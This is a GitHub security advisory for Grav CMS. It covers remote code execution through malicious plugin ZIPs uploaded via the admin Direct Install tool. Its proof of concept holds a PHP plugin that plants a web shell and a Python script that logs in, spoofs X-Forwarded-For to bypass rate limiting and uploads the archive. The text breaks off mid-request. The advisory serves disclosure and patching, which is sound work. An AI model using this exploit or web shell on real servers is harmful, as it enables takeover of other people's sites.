GitHub Security Advisory: GHSA-w48r-jppp-rcfw
Package: getgrav/grav (COMPOSER)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: < 2.0.0-beta.2
Patched in: 2.0.0-beta.2

Summary: Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature

Details:
### Summary
An authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server.

### Details

The vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core.

-    Vulnerable Endpoints: /admin/tools/direct-install
-   Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285).
-    Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/

plugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive.

### PoC
1. Prepare the Malicious Plugin

Create a directory named shellplugin and add the following files:

shellplugin.php:
```

<?php
namespace Grav\Plugin;
use Grav\Common\Plugin;

class ShellpluginPlugin extends Plugin {
    public static function getSubscribedEvents(): array {
        return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];
    }
    public function onPluginsInitialized(): void {
        $shell_path = GRAV_ROOT . '/shell.php';
        if (!file_exists($shell_path)) {
            file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
        }
    }
}

```
(Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards).

2. Create the ZIP Archive
```
`zip -r /tmp/shellplugin.zip shellplugin/`

3. Execute the Exploit Script
Run the following Python script to automate the login, nonce retrieval, and malicious upload process:

`import requests, re, json


s = requests.Session()
BASE_URL = 'http://127.0.0.1'
```

#### 1. Login and Bypass Rate Limit via X-Forwarded-For
```
r = s.get(f'{BASE_URL}/admin')
nonce = re.search(r'name="login-nonce" value="([^"]+)"', r.text).group(1)

r2 = s.post(f'{BASE_URL}/admin',
    headers={'X-Forwarded-For': '10.0.0.3'},
    data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce},
    allow_redirects=False)

redirect = json.loads(r2.text)['redirect']
s.get(redirect)
print(f"[+] Logged in successfully.")

```
####  2. Extract Admin Nonce from Tools Page
```
tools = s.get(f'{BASE_URL}/admin/tools/direct-install')
admin_nonce = re.search(r'admin-nonce.*?value="([a-f0-9]{32})"', tools.text).group(1)
print(f"[+] Retrieved Admin Nonce: {admin_nonce}")
```

####  3. Upload and Execute
```
with open('/tmp/shellplugin.zip', 'rb') as f:
    zip_data = f.read()

resp = s.post(f'{BASE_URL}/admin/tools/direct-install',
    data={'task': 'directInstall', 'admin-nonce': admin_nonce},
    files={'uploaded_file': ('shellplugin.zip', zip_data, 'application/zip')},